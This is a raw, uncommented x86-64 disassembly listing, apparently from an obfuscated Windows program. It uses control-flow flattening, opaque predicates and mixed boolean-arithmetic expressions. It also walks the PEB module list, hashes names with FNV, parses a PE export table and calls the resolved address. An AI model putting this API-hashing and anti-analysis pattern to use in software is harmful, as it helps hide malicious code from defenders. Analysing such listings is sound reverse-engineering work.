mov edx, esi
xor edx, 0x7f79bff7
and edx, ecx
not ecx
mov eax, r9d
and eax, 0x2a2134d3
mov edi, esi
xor edi, 0x7ff8bff7
or esi, 0x80064008
and esi, ecx
or edx, esi
and esi, edi
and edi, ecx
xor edx, edi
or esi, edx
mov edx, r9d
and edx, 0xd5decb2c
mov edi, edx
xor edi, 0x4912a796
mov ebx, edi
or ebx, 0x5d4314bb
mov ecx, r9d
or ecx, 0xaabdffd7
xor ecx, ebx
mov r15d, r9d
xor r15d, 0x22202040
and r15d, eax
xor edx, 0xd5decb2c
mov r13d, edx
or edx, eax
not eax
mov ebx, r9d
and ebx, 0x20200000
mov r8d, eax
and r8d, 0x2006240
add ebx, r8d
add ebx, 0x4c400028
xor ebx, r15d
mov r8d, ebx
xor r8d, 0xecfc892c
mov r15d, ecx
xor ecx, 0x2a3197d7
and ecx, r8d
xor r15d, 0x6000
xor ebx, 0x130376d3
and ebx, r15d
or ebx, ecx
mov r15d, dword [rbp + 0x410]
xor r15d, 0xfcb76fbb
and r15d, r14d
xor r10d, 0xe0b76cbb
and r13d, 0x504a8308
and edi, 0x859448b4
or edi, r13d
mov ecx, r9d
and ecx, 0xa203442
and eax, 0xa59548b5
or eax, ecx
xor eax, edi
xor eax, 0xdeeefffa
and eax, edx
or eax, ebx
mov ecx, esi
xor ecx, 0x4625c679
mov edx, eax
and edx, 0x4625c679
or edx, 0x21981982
and eax, 0xb9da3986
xor eax, edx
mov edx, eax
xor edx, 0x67bddffb
xor esi, 0xb9da3986
and esi, edx
xor eax, 0x98422004
and eax, ecx
mov ecx, r12d
xor ecx, 0x130881e4
and ecx, r11d
mov edx, r12d
or edx, 0xdbd780fa
mov ebx, edx
and ebx, 0xc51ea4c
and r12d, 0x281501
or r12d, ebx
xor r12d, ecx
xor r12d, 0x2859814c
xor edx, 0xfbdf81fe
and edx, ecx
or edx, r12d
mov ecx, r9d
and ecx, 0xdbd780fa
or r11d, r9d
and r9d, 0x24287f05
or r9d, 0x43d68078
xor r9d, ecx
xor r9d, edx
xor r9d, 0x98010082
and r9d, r11d
or r9d, eax
or r9d, esi
mov eax, r14d
and eax, 0x3089a
mov ecx, r10d
and ecx, 0x804000
or ecx, eax
xor ecx, 0x10804204
xor r14d, 0xe0342421
and r14d, r10d
or r14d, ecx
mov esi, r14d
xor esi, 0xef7cb561
mov eax, r14d
and eax, 0x30240e
mov edx, esi
and edx, 0xf1cfcab1
or edx, eax
mov eax, edx
xor eax, 0xe303540
mov ebx, eax
and ebx, 0x74b34cb1
and edx, 0x814ca20e
or edx, ebx
or eax, 0xa45bbedf
mov edi, edx
xor edi, 0x51a47060
and edi, eax
mov eax, r15d
and eax, 0xa45bbedf
or eax, 0x1b044100
mov r8d, r15d
and r8d, 0x5ba44120
xor r8d, eax
mov eax, edi
not eax
and edx, 0x18000
mov r11d, edi
and r11d, 0x10c048b0
mov ecx, eax
and ecx, 0xec26020a
mov ebx, edi
and ebx, 0x1182445
or ebx, edx
lea edx, [rcx + r11]
add ecx, r11d
add ecx, 0x2018000
and r10d, 0x40a44020
xor ecx, ebx
mov ebx, r10d
xor ebx, 0xfce65bba
xor edx, 0xec26120a
and edx, ebx
mov ebx, edi
and ebx, 0x718c06f1
and eax, 0x8473e80e
or eax, ebx
or edi, r10d
xor eax, r10d
lea ebx, [r10 + 0x319a445]
xor ecx, 0x281c020
and ebx, ecx
xor eax, 0x718c06f1
and eax, edi
or eax, edx
or eax, ebx
mov edx, r8d
xor edx, 0xbf5fffdf
xor r8d, 0x40a00020
and r8d, eax
not eax
and eax, edx
mov edx, r14d
and r14d, 0xc09208a5
and esi, 0x3a25f71a
or esi, r14d
xor edx, r15d
xor esi, r15d
mov ebx, r15d
not ebx
or eax, r8d
xor edx, 0xef7cb561
and edx, ebx
xor esi, 0x3aa7ff9e
or esi, edx
mov edx, esi
and edx, 0xd49ab90b
mov ecx, esi
and ecx, 0x2b6546f4
or ecx, 0x4412a808
xor ecx, edx
mov edx, ecx
xor edx, 0x6f77eefc
mov ebx, eax
xor ebx, 0x2b6546f4
and ebx, edx
not esi
and esi, eax
xor eax, 0xd49ab90b
xor ecx, 0x90881103
and ecx, eax
or esi, ecx
or esi, ebx
xor esi, r9d
imul eax, esi, 0x1000193
mov dword [rbp + 0x484], eax
mov eax, dword [rbp + 0x450]
mov r15d, dword [rbp + 0x44c]
mov r10, qword [rbp + 0x400]
mov r8d, dword [rbp + 0x3e0]
mov esi, dword [rbp + 0x3e8]
mov edi, dword [rbp + 0x48c]
mov r9d, dword [rbp + 0x490]
jmp 0x140090720
cmp eax, 0x581f37ef
jle 0x140092410
cmp eax, 0x581f37f0
je 0x140092487
cmp eax, 0x5c59f878
je 0x1400924a0
cmp eax, 0x7694ece2
jne 0x140090720
test byte [rbp + 0x438], 1
movsx eax, byte [rbp + 0x4e7]
mov ecx, dword [rbp + 0x4d0]
sete byte [rbp + 0x4ed]
cmp r15d, 0xa
setl byte [rbp + 0x4ee]
mov ecx, 0x462bec05
jmp 0x1400922e0
cmp ecx, 0x22c0f4b1
jne 0x1400923c9
mov ecx, dword [rbp + 0x4e8]
mov ecx, 0x1f53ad1b
cmp ecx, 0x3117fdc3
jle 0x140092330
cmp ecx, 0x58a11e18
jg 0x140092350
cmp ecx, 0x3117fdc4
je 0x14009236e
cmp ecx, 0x462bec05
jne 0x1400922e0
movzx edx, byte [rbp + 0x4ed]
cmp byte [rbp + 0x4ee], 0
mov ebx, 0x3117fdc4
mov ecx, 0x3117fdc4
jne 0x14009231f
mov ecx, 0x71946ac1
test dl, dl
cmovne ecx, ebx
jmp 0x1400922e0
cmp ecx, 0x1f53ad1a
jg 0x1400922c9
cmp ecx, 0x8353906e
je 0x14009238f
cmp ecx, 0xb9e70da7
je 0x1400922d5
jmp 0x1400922e0
cmp ecx, 0x58a11e19
je 0x1400923ab
cmp ecx, 0x71946ac1
jne 0x1400922e0
mov ecx, 0x3117fdc4
jmp 0x1400922e0
mov dword [rbp + 0x4e8], eax
mov ecx, dword [rbp + 0x4e8]
cmp ecx, 0x41
setge byte [rbp + 0x4ef]
mov ecx, dword [rbp + 0x4c0]
jmp 0x1400922e0
cmp byte [rbp + 0x4ef], 0
mov ecx, 0x58a11e19
jne 0x1400922e0
mov ecx, 0x22c0f4b1
jmp 0x1400922e0
mov edx, dword [rbp + 0x4e8]
mov ecx, 0xb9e70da7
cmp edx, 0x5b
jl 0x1400922e0
mov ecx, 0x22c0f4b1
jmp 0x1400922e0
cmp ecx, 0x1f53ad1b
jne 0x1400922e0
mov eax, 0x9fdcb46a
jmp 0x140090720
cmp eax, 0xbd0b03e6
je 0x1400924d0
cmp eax, 0xe59fd857
jne 0x1400924f5
mov r8d, dword [rbp + 0x484]
mov eax, 0x5c59f878
xor esi, esi
mov edi, dword [rbp + 0x4a8]
jmp 0x140090720
cmp eax, 0x17954bb8
je 0x1400906ff
cmp eax, 0x2f530768
jne 0x140090720
mov eax, dword [rbp + 0x454]
jmp 0x140090720
mov r8d, dword [rbp + 0x4d0]
mov eax, 0x5c59f878
mov esi, 1
mov edi, dword [rbp + 0x4d0]
jmp 0x140090720
mov rax, qword [rbp + 0x4d8]
add rax, 1
mov qword [rbp + 0x498], rax
mov rax, qword [rbp + 0x4d8]
mov al, byte [rax]
mov byte [rbp + 0x4e7], al
cmp byte [rbp + 0x4e7], 0
setne byte [rbp + 0x4d7]
mov eax, dword [rbp + 0x4c4]
jmp 0x140090720
cmp byte [rbp + 0x4d7], 0
mov eax, 0x87ce9d3c
mov ecx, 0x2f530768
cmovne eax, ecx
jmp 0x140090720
mov dword [rbp + 0x4a4], edi
test esi, esi
mov eax, 0xc6b502bf
mov ecx, 0xbd0b03e6
cmove eax, ecx
mov r10, qword [rbp + 0x498]
mov ecx, dword [rbp + 0x4a4]
mov dword [rbp + 0x488], ecx
mov r9d, r8d
jmp 0x140090720
mov eax, dword [rbp + 0x488]
mov dword [rbp + 0x4a8], eax
mov dword [rbp + 0x4d0], r9d
mov qword [rbp + 0x4d8], r10
mov eax, dword [rbp + 0x448]
jmp 0x140090720
cmp eax, 0xc6b502bf
jne 0x140090720
mov eax, dword [rbp + 0x4a4]
cmp eax, 0x3915b706
mov eax, 0x67ce0cc2
mov ecx, 0x34c97f99
cmove eax, ecx
jmp 0x1400902d0
mov eax, 0x91fe3c8f
jmp 0x1400902d0
mov eax, dword [rbp + 0x4ac]
mov eax, 0x25b8ba4e
jmp 0x1400902d0
cmp byte [rbp + 0x4bb], 0
mov eax, 0xd4c10340
mov ecx, 0xb8791e98
cmovne eax, ecx
mov rcx, qword [rbp + 0x420]
mov qword [rbp + 0x408], rcx
jmp 0x1400902d0
lea rax, [rbp + 0x468]
mov qword [rbp + 0x458], rax
mov rax, qword [rbp + 0x458]
mov rax, qword [rbp + 0x3f0]
mov qword [rbp + 0x468], rax
mov eax, dword [0x1400f2740]
mov ecx, dword [0x1400f2744]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x4e8]
sete r8b
cmp ecx, 0xa
setge cl
setl dl
setl byte [rbp + 0x498]
mov eax, edx
xor al, r8b
or dl, r8b
mov ebx, eax
xor bl, 1
or cl, r8b
and cl, bl
xor cl, dl
mov ebx, 0xf5647b0b
mov ecx, 0x1be0c2cb
cmovne ebx, ecx
test al, al
mov eax, 0xf5647b0b
cmovne ebx, eax
mov edx, 0x45f0e8c0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x1be0c2ca
jg 0x140092610
cmp edx, 0xd6cac8db
je 0x140092642
cmp edx, 0xf5647b0b
jne 0x1400925f0
jmp 0x140092696
cmp edx, 0x1be0c2cb
je 0x140092654
cmp edx, 0x45f0e8c0
jne 0x1400925f0
movzx eax, byte [rbp + 0x4e8]
cmp byte [rbp + 0x498], 0
mov edx, 0x1be0c2cb
mov edi, 0xd6cac8db
cmovne edx, edi
test al, al
cmovne edx, edi
jmp 0x1400925f0
mov rax, qword [rbp + 0x3f0]
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
mov edx, ebx
jmp 0x1400925f0
mov edx, 0xd6cac8db
jmp 0x1400925f0
mov eax, 0x80055193
xor ecx, ecx
mov qword [rbp + 0x3f8], rcx
jmp 0x1400902d0
mov eax, 0x825579c1
mov dword [rbp + 0x418], 0
jmp 0x1400902d0
mov eax, 0xa395c87a
mov dword [rbp + 0x494], 2
jmp 0x1400902d0
mov qword [rbp + 0x4d8], rcx
mov rcx, qword [rbp + 0x4d8]
mov r8d, dword [rcx + 0x88]
mov r9d, dword [rcx + 0x8c]
mov r10, r8
add r10, qword [rbp + 0x3f0]
mov ebx, dword [0x1400f2748]
mov edi, dword [0x1400f274c]
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
sete bl
sete byte [rbp + 0x4e8]
cmp edi, 0xa
setge al
setl byte [rbp + 0x498]
setl dl
mov ecx, edx
or sil, dl
and dl, bl
xor cl, bl
and al, bl
xor al, cl
mov ebx, esi
xor bl, 1
and bl, al
xor al, 1
test sil, sil
movzx eax, al
movzx ecx, cl
cmove ecx, eax
or bl, cl
mov eax, edx
or al, bl
and cl, dl
xor cl, dl
xor cl, al
mov eax, edx
xor al, bl
test cl, 1
mov ecx, 0x80d5946
mov edi, 0xbfa4195b
cmovne ecx, edi
mov qword [rbp + 0x470], r10
test bl, bl
mov ebx, ecx
mov esi, 0x80d5946
cmovne ebx, esi
mov dword [rbp + 0x478], r9d
test dl, dl
cmovne ebx, ecx
test al, 1
cmovne ebx, edi
mov ecx, 0x97bfe48f
nop word cs:[rax + rax]
cmp ecx, 0xfb599b2d
jg 0x140092780
cmp ecx, 0x97bfe48f
je 0x140092797
cmp ecx, 0xbfa4195b
jne 0x140092760
jmp 0x1400927c8
cmp ecx, 0xfb599b2e
je 0x1400927c4
cmp ecx, 0x80d5946
jne 0x140092760
mov ecx, 0xfb599b2e
jmp 0x140092760
movzx eax, byte [rbp + 0x4e8]
movzx ecx, byte [rbp + 0x498]
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0x80d5946
mov edi, 0xfb599b2e
cmovne ecx, edi
test al, al
cmovne ecx, edi
test dl, dl
cmovne ecx, edi
jmp 0x140092760
mov ecx, ebx
jmp 0x140092760
test r8d, r8d
setne byte [rbp + 0x4d8]
cmp byte [rbp + 0x4d8], 0
mov eax, 0x7d77dcca
mov ecx, 0x62d8a4f8
cmovne eax, ecx
jmp 0x1400902d0
cmp eax, 0x80055193
jne 0x1400902d0
mov rax, qword [rbp + 0x4c8]
mov rcx, qword [rbp + 0x3f8]
mov qword [rax], rcx
mov eax, 0x2a1793f1
jmp 0x140090250
mov rax, qword [rbp + 0x4c8]
mov rax, qword [rax]
mov qword [rbp + 0x428], rax
mov eax, dword [0x1400f2768]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7e448d7d
mov ecx, 0x93e3b353
jmp 0x140090239
mov rax, qword [rbp + 0x428]
mov qword [rbp + 0x430], rax
mov eax, dword [0x1400f2760]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x73223574
mov ecx, 0xa5ff9edc
cmove eax, ecx
cmp dword [0x1400f2764], 0xa
cmovl eax, ecx
jmp 0x14008db80
mov rax, qword [rbp + 0x428]
mov eax, 0x9ffa038d
jmp 0x14008db80
mov rax, qword [rbp + 0x430]
mov rcx, qword [rbp + 0x3b8]
call rax
mov eax, dword [0x1400f2708]
mov ecx, dword [0x1400f270c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x4d8]
mov edx, 0xe45bd16b
mov esi, 0x655bcac1
cmove esi, edx
cmp ecx, 0xa
setl byte [rbp + 0x468]
mov edi, 0x655bcac1
cmovl esi, edx
mov edx, 0x8aa159b2
nop word [rax + rax]
cmp edx, 0x6465c0b0
jg 0x140092900
cmp edx, 0x8aa159b2
je 0x140092917
cmp edx, 0xe45bd16b
jne 0x1400928e0
jmp 0x14009294f
cmp edx, 0x6465c0b1
je 0x14009294b
cmp edx, 0x655bcac1
jne 0x1400928e0
mov edx, 0x6465c0b1
jmp 0x1400928e0
movzx edx, byte [rbp + 0x4d8]
movzx ebx, byte [rbp + 0x468]
mov ecx, edx
xor cl, bl
mov r8d, edx
or r8b, bl
mov eax, ecx
not al
not dl
or dl, bl
and dl, al
xor dl, r8b
xor dl, cl
test dl, 1
mov edx, 0x6465c0b1
cmovne edx, edi
jmp 0x1400928e0
mov edx, esi
jmp 0x1400928e0
lea rax, [0x1400f2120]
mov qword [rbp + 0x4b0], rax
mov rax, qword [rbp + 0x4b0]
mov rax, qword [rax]
mov qword [rbp + 0x428], rax
mov eax, 0x946470b0
mov r13d, 0x58a11e19
nop dword [rax]
cmp eax, 0xbbe3b739
je 0x1400929b0
cmp eax, 0x96c966fb
je 0x1400948de
cmp eax, 0x946470b0
jne 0x140092980
cmp qword [rbp + 0x428], 0
mov eax, 0x96c966fb
mov ecx, 0xbbe3b739
cmove eax, ecx
jmp 0x140092980
lea rax, [rbp + 0x468]
mov qword [rbp + 0x458], rax
mov rax, qword [rbp + 0x458]
mov r9, qword gs:[0x60]
mov eax, dword [0x1400f2710]
mov ecx, dword [0x1400f2714]
lea r11d, [rax - 1]
imul r11d, eax
mov dword [rbp + 0x400], r11d
and r11d, 1
sete dl
mov dword [rbp + 0x438], ecx
cmp ecx, 0xa
setge bl
setl r8b
mov ecx, r8d
xor cl, dl
mov eax, ecx
xor al, 1
and r11b, r8b
or r11b, al
xor r11b, cl
mov eax, r11d
xor al, 1
and bl, dl
or bl, al
or r8b, dl
xor r8b, cl
mov eax, r8d
xor al, bl
mov ecx, eax
not cl
mov edx, r8d
not dl
and dl, bl
or dl, cl
xor bl, 1
or bl, r8b
xor dl, bl
test dl, 1
mov ecx, 0x8353906e
mov edi, 0x71946ac1
cmovne ecx, edi
test al, 1
mov r14d, 0x71946ac1
cmovne r14d, ecx
test bl, 1
cmove r14d, ecx
test dl, 1
mov rcx, qword [r9 + 0x18]
mov r9, qword [rcx + 0x10]
mov edx, dword [0x1400f2718]
mov eax, 0x8353906e
cmovne r14d, eax
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
sete dl
cmp dword [0x1400f271c], 0xa
setge r10b
setl al
mov ecx, eax
or cl, dl
mov edi, 0xc508309f
mov esi, 0xcc44ccd7
cmovne edi, esi
mov dword [rbp + 0x3e0], edi
mov rdi, qword [r9]
and r10b, dl
xor dl, al
or bl, al
and bl, dl
xor bl, r10b
xor dl, cl
mov eax, edx
xor al, bl
test bl, bl
mov ebx, 0xc508309f
mov ecx, 0xf10f0061
cmovne ebx, ecx
mov qword [rbp + 0x468], rdi
test dl, dl
cmovne ebx, ecx
mov qword [rbp + 0x3e8], rdi
mov qword [rbp + 0x470], rdi
test al, al
cmovne ebx, ecx
mov dword [rbp + 0x488], ebx
mov eax, dword [0x1400f2720]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edx, 0x809b86b9
mov eax, 0xd7e19ab2
cmovne edx, eax
mov ebx, 0xd7e19ab2
mov ecx, 0xb30e34d3
cmove ebx, ecx
cmp dword [0x1400f2724], 0xa
mov eax, 0x809b86b9
cmovl edx, eax
mov dword [rbp + 0x48c], edx
cmovl ebx, ecx
mov dword [rbp + 0x490], ebx
test r11b, r11b
mov eax, 0x8353906e
cmovne eax, r14d
test r8b, r8b
cmove eax, r14d
mov dword [rbp + 0x4c0], eax
mov eax, 0x3a8cbc47
nop word [rax + rax]
cmp eax, 0x52b0d9ba
jle 0x140092b90
cmp eax, 0x52b0d9bb
je 0x140094785
cmp eax, 0x62abb3bd
je 0x1400948c3
cmp eax, 0x681faaa4
jne 0x140092b60
mov eax, 0x62abb3bd
xor edi, edi
jmp 0x140092b60
cmp eax, 0xa588d843
je 0x14009486d
cmp eax, 0x3a8cbc47
jne 0x140092b60
lea rax, [rbp + 0x468]
mov qword [rbp + 0x420], rax
mov rax, qword [rbp + 0x420]
mov rcx, qword [rax]
mov rax, qword [rcx + 0x60]
movzx ecx, word [rcx + 0x58]
and ecx, 0xfffffffe
add rcx, rax
mov qword [rbp + 0x498], rcx
mov ecx, 0x811c9dc5
mov edx, 0xfdab94d
nop dword [rax]
cmp edx, 0xd7e19ab1
jg 0x140092c10
cmp edx, 0x809b86b9
je 0x140094885
cmp edx, 0x9ad9fbe2
je 0x140092c70
cmp edx, 0xb30e34d3
jne 0x140092be0
mov edx, dword [rbp + 0x48c]
jmp 0x140092be0
cmp edx, 0xd7e19ab2
je 0x140092c55
cmp edx, 0x354aae89
je 0x140092c5c
cmp edx, 0xfdab94d
jne 0x140092be0
mov dword [rbp + 0x430], ecx
mov qword [rbp + 0x4d8], rax
mov rdx, qword [rbp + 0x498]
mov rbx, qword [rbp + 0x4d8]
cmp rbx, rdx
mov edx, 0x9ad9fbe2
mov ebx, 0x354aae89
cmove edx, ebx
jmp 0x140092be0
mov edx, 0xb30e34d3
jmp 0x140092be0
mov edx, dword [rbp + 0x490]
jmp 0x140092be0
mov qword [rbp + 0x410], rdi
test byte [rbp + 0x400], 1
mov rax, qword [rbp + 0x4d8]
movsx r8d, byte [rax]
mov eax, dword [rbp + 0x430]
mov dword [rbp + 0x4c4], eax
sete byte [rbp + 0x4d0]
cmp dword [rbp + 0x438], 0xa
setl byte [rbp + 0x4a4]
mov eax, 0x462bec05
jmp 0x140092cd0
mov eax, dword [rbp + 0x4c8]
cmp eax, 0x5b
mov eax, 0x22c0f4b1
mov ecx, 0xb9e70da7
cmovl eax, ecx
nop word [rax + rax]
cmp eax, 0x3117fdc3
jle 0x140092d20
cmp eax, 0x58a11e18
jg 0x140093700
cmp eax, 0x3117fdc4
je 0x140093738
cmp eax, 0x462bec05
jne 0x140092cd0
movzx ecx, byte [rbp + 0x4d0]
cmp byte [rbp + 0x4a4], 0
mov eax, 0x71946ac1
mov edx, 0x3117fdc4
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x140092cd0
cmp eax, 0x1f53ad1a
jg 0x140093720
cmp eax, 0x8353906e
je 0x14009375a
cmp eax, 0xb9e70da7
jne 0x140092cd0
mov r14d, dword [rbp + 0x4c8]
mov eax, r14d
and eax, 0x300d32eb
or eax, 0x8922c414
mov ecx, r14d
and ecx, 0xcff2cd14
xor ecx, eax
mov eax, ecx
xor eax, 0x76dd3beb
mov edx, ecx
xor edx, 0x8922c414
or edx, eax
xor ecx, 0x9f2d3869
and ecx, edx
xor ecx, 0x160ffc7d
and ecx, edx
mov eax, ecx
and eax, 0xe1770bb
mov r12d, ecx
and r12d, 0xf1e88f44
or r12d, 0x6022002
xor r12d, eax
xor r12d, 0x81550b9
or r12d, ecx
mov eax, r14d
and eax, 0x6098fcd3
or eax, 0xf210028
mov edx, r14d
and edx, 0x9f67032c
xor edx, eax
mov ebx, edx
xor ebx, 0x1367093
mov ecx, edx
or ecx, 0xf1e88f44
xor ecx, 0xffe98f6c
or ecx, ebx
mov ebx, edx
xor ebx, 0xfec98f6c
or ebx, ecx
xor ecx, edx
xor ecx, 0x1367093
and ecx, ebx
mov edx, r12d
and edx, 0xee181f2d
mov ebx, r12d
and ebx, 0x11e7e0d2
or ebx, 0x6000808
xor ebx, edx
mov edx, ecx
mov eax, ecx
not r12d
and r12d, ecx
xor ecx, 0x11e7e0d2
xor edx, 0xb4b1d84f
and edx, ecx
or eax, 0x5aa9c762
xor eax, 0xfeb9df6f
or eax, edx
mov ecx, ebx
xor ecx, 0x4d4e2fb8
xor ebx, 0xb2b1d047
and ebx, eax
not eax
and eax, ecx
or r12d, eax
or r12d, ebx
not r12d
mov eax, r12d
and eax, 0xa4519b98
and r12d, 0x5bae6467
or r12d, 0x84109000
xor r12d, eax
mov eax, r12d
xor eax, 0xdfbef467
mov r11d, r12d
and r11d, 0x5dfaf697
xor r12d, 0x824402f0
and r12d, eax
mov eax, r11d
xor eax, r12d
xor eax, 0x400290
xor r11d, 0x400290
and r11d, r12d
or r11d, eax
mov r9d, r11d
xor r9d, 0xf7bc1db4
mov eax, r11d
or eax, 0xe66cfdeb
mov ecx, eax
xor ecx, 0xee6fffeb
mov edx, r11d
and edx, 0x19930214
xor edx, 0x8030200
mov esi, r11d
xor esi, 0x11d0e05f
or esi, edx
mov edx, esi
not edx
and edx, ecx
and eax, 0xc2df5143
and ecx, 0x19000214
or ecx, eax
xor ecx, esi
mov eax, edx
xor eax, ecx
xor eax, 0x3db0aebc
xor ecx, 0x19900214
and ecx, edx
mov edx, eax
and edx, 0xe66cfdeb
and eax, 0x19930214
or eax, ecx
or eax, edx
mov ecx, eax
and ecx, 0xecc1695
mov edx, eax
xor edx, 0xe8a0eb7e
mov r15d, ecx
xor r15d, 0xf9b3eb7e
mov esi, eax
xor esi, 0x175f1481
mov ebx, ecx
xor ebx, 0x844653a6
and ebx, r15d
or ecx, 0x820a4727
mov edi, eax
or edi, 0x7df5b8d8
xor edi, 0x7fffbcd9
mov r10d, eax
xor r10d, 0x6aaaac59
and r10d, edx
or r10d, edi
mov edx, ecx
and edx, 0x888217a6
and eax, 0x4440010
or eax, edx
xor ecx, 0x864e57a7
and ecx, ebx
and ebx, 0xecc5695
xor ebx, eax
xor ebx, 0x4441684
or ecx, ebx
xor ecx, r10d
or esi, r15d
mov eax, esi
and eax, 0xecc1695
xor eax, ecx
xor eax, 0xecc1695
not esi
and esi, ecx
or esi, eax
mov eax, esi
and eax, 0x3d6ad4f5
mov r15d, esi
and r15d, 0xc2940808
mov ecx, esi
or ecx, 0xc2952b0a
mov ebx, esi
and ebx, 0xc2952b0a
mov r10d, eax
xor r10d, 0x1501f783
and r10d, ecx
xor eax, 0x3d6ad4f5
mov edx, eax
and edx, 0x354014c4
and ecx, 0x4a2ee339
or ecx, edx
or eax, ebx
xor ecx, ebx
not ebx
mov edx, esi
or edx, 0xeaff2b7e
and ebx, 0x286b2376
or ebx, r15d
mov edi, edx
and edi, 0x8febd69e
and esi, 0x10000001
or esi, edi
not edx
and edx, r10d
and r10d, 0x3d6af7f5
xor r10d, esi
xor r10d, 0x9fead69d
or edx, r10d
xor edx, ebx
xor ecx, 0xb5d11cc6
and ecx, eax
or ecx, edx
mov eax, ecx
and eax, 0xd25c9294
or eax, 0x28034442
and ecx, 0x2da36d6b
xor ecx, eax
mov eax, ecx
xor eax, 0x156990b7
mov edx, ecx
xor edx, 0xea966f48
or edx, eax
xor ecx, 0x60a362d4
and ecx, edx
mov eax, ecx
xor eax, 0x8a350d9c
or eax, edx
xor ecx, edx
xor ecx, 0x75caf263
and ecx, eax
mov eax, r14d
and eax, 0xbae01e84
mov edx, r14d
and edx, 0x451fe17b
or edx, 0x98801e04
xor edx, eax
mov eax, r14d
and eax, 0x80000
mov ebx, edx
and ebx, 0xb4240811
and edx, 0x4bd3f7ee
add eax, ebx
add eax, 0x52e686
xor eax, edx
and r14d, 0xf133e96a
mov esi, r14d
xor r14d, eax
xor eax, 0x9012e802
xor esi, 0xf133e96a
and esi, eax
xor r14d, 0x672d077d
or esi, r14d
mov r10d, esi
not r10d
and r10d, ecx
mov r15d, ecx
or r15d, 0x8e000724
mov edx, ecx
and edx, 0x8e000724
and r14d, 0xc000004
mov eax, esi
and eax, 0x82000720
or eax, r14d
mov ebx, ecx
xor ebx, 0x8a000104
and ebx, edx
not edx
mov r14d, r15d
and r14d, 0xfb0fa016
mov edi, edx
and edi, 0xea028104
or ebx, edi
mov edi, ecx
and edi, 0xf058c9
or edi, r14d
xor edi, ebx
xor edi, 0x11fd79db
mov ebx, ecx
and ebx, 0x609ee042
and r15d, 0x9f611a9d
or r15d, ebx
mov ebx, ecx
and ebx, 0x520
and edx, 0x9f611a9d
add edx, ebx
add edx, 0x609ee042
xor edx, r15d
xor ecx, 0x8e000724
or ecx, edx
not ecx
or ecx, edi
mov edx, eax
and edx, 0x6000000
and esi, 0x71fff8db
or esi, edx
or eax, 0x262e5009
xor eax, esi
mov edx, eax
xor edx, 0xa82e572d
xor eax, 0x57d1a8d2
and eax, ecx
not ecx
and ecx, edx
or eax, ecx
mov edx, r10d
and edx, 0xc64177d6
or edx, 0x39268801
mov ecx, r10d
and ecx, 0x39be8829
xor ecx, edx
mov edx, ecx
xor edx, 0xff67ffd7
mov esi, eax
xor esi, 0x39be8829
or esi, edx
xor ecx, eax
xor ecx, 0x39268801
and ecx, edx
xor ecx, esi
not ecx
and eax, r10d
mov edx, eax
and edx, 0xa32261d0
or edx, 0x10999806
mov esi, eax
and esi, 0x5cdd9e2f
xor esi, edx
xor esi, ecx
and eax, ecx
mov ecx, esi
xor ecx, eax
xor ecx, 0x10999806
xor esi, 0x10999806
and esi, eax
or esi, ecx
mov ecx, esi
mov r10d, esi
mov edi, esi
mov r15d, esi
mov edx, esi
and edx, 0x310718ea
or edx, 0x6f8a511
mov r14d, esi
and r14d, 0xcef8e715
xor r14d, edx
mov edx, r14d
xor edx, 0xf7cb4c5b
or edx, esi
xor r14d, esi
and esi, 0x190a9b13
or ecx, 0xe6f564ec
and r10d, 0xe6f564ec
mov eax, esi
xor eax, 0xc026d4ea
and eax, ecx
or edi, 0xfffd6ffd
mov ebx, edi
and ebx, 0xb0495454
and r15d, 0x28002
or r15d, ebx
not edi
and edi, eax
and eax, 0x592e9bbb
xor eax, r15d
xor eax, 0x304b9016
or edi, eax
xor edi, r10d
xor edi, 0xd92c4ff9
xor esi, 0x190a9b13
mov eax, esi
and eax, 0x21101
and ecx, 0xddf8ce1a
or ecx, eax
or esi, r10d
xor ecx, r10d
xor ecx, 0x220731e5
and ecx, esi
or ecx, edi
mov eax, ecx
xor eax, 0x190a9b13
xor ecx, 0x17c68da6
or ecx, eax
xor r14d, 0x834b3a4
and r14d, edx
mov eax, ecx
not eax
and eax, r14d
xor r14d, ecx
xor r14d, eax
mov edi, r11d
xor edi, 0x843e24b
mov esi, r11d
mov r10d, r11d
mov eax, r11d
mov ecx, r11d
and ecx, 0xf4e5e31e
xor r11d, 0x359feaa
and r11d, r9d
mov edx, ecx
xor edx, r11d
xor edx, 0x41e20a
xor ecx, 0x41e20a
and ecx, r11d
or ecx, edx
mov edx, ecx
xor edx, 0x6653709e
and edx, edi
or edi, r9d
and r12d, 0x82000820
and esi, 0x1098338a
or esi, r12d
and r10d, 0x6d67c455
or r10d, esi
mov esi, r10d
xor esi, 0x6524261e
mov ebx, edi
and ebx, 0x6d67c455
xor eax, edi
and edi, 0x92983baa
or edi, 0x64244445
xor edi, ebx
mov ebx, edi
xor ebx, 0xf6bc7fef
xor r10d, 0x9adbd9e1
and r10d, ebx
xor edi, 0x9438010
and edi, esi
xor eax, 0xf7bc1db4
or eax, r9d
not eax
or eax, edi
or eax, r10d
mov r10d, eax
not r10d
mov ebx, eax
and ebx, 0x6d496c7f
mov edi, ecx
xor edi, 0x99ac8f61
and edi, r9d
or edi, edx
xor ecx, edi
xor ecx, 0x6653709e
and ecx, edi
mov edx, eax
xor edx, 0x5014c23
and edx, ebx
and ebx, ecx
mov esi, eax
and esi, 0x5014c23
xor esi, edx
xor esi, 0x85b5cfa3
and edx, 0x5014c23
or edx, esi
mov edi, ecx
and edi, 0x85b5cfa3
or edi, 0x840004c
and ecx, 0x7a4a305c
xor ecx, edi
xor ecx, edx
mov edx, ecx
mov edi, ebx
xor edi, ecx
xor edi, 0x720a3010
mov esi, edi
and esi, ebx
xor ecx, 0x60082010
and ecx, ebx
not ebx
xor edx, 0x8df5cfef
and edx, ebx
or edx, ecx
xor edx, esi
and ecx, edi
or ecx, edx
mov edx, r10d
and edx, eax
and eax, 0x29086950
and r10d, 0xd6f7968f
or r10d, eax
xor r10d, 0xd6f7968f
and edx, 0xffffffdf
or edx, r10d
mov r11d, ecx
xor r11d, 0x6d496c5f
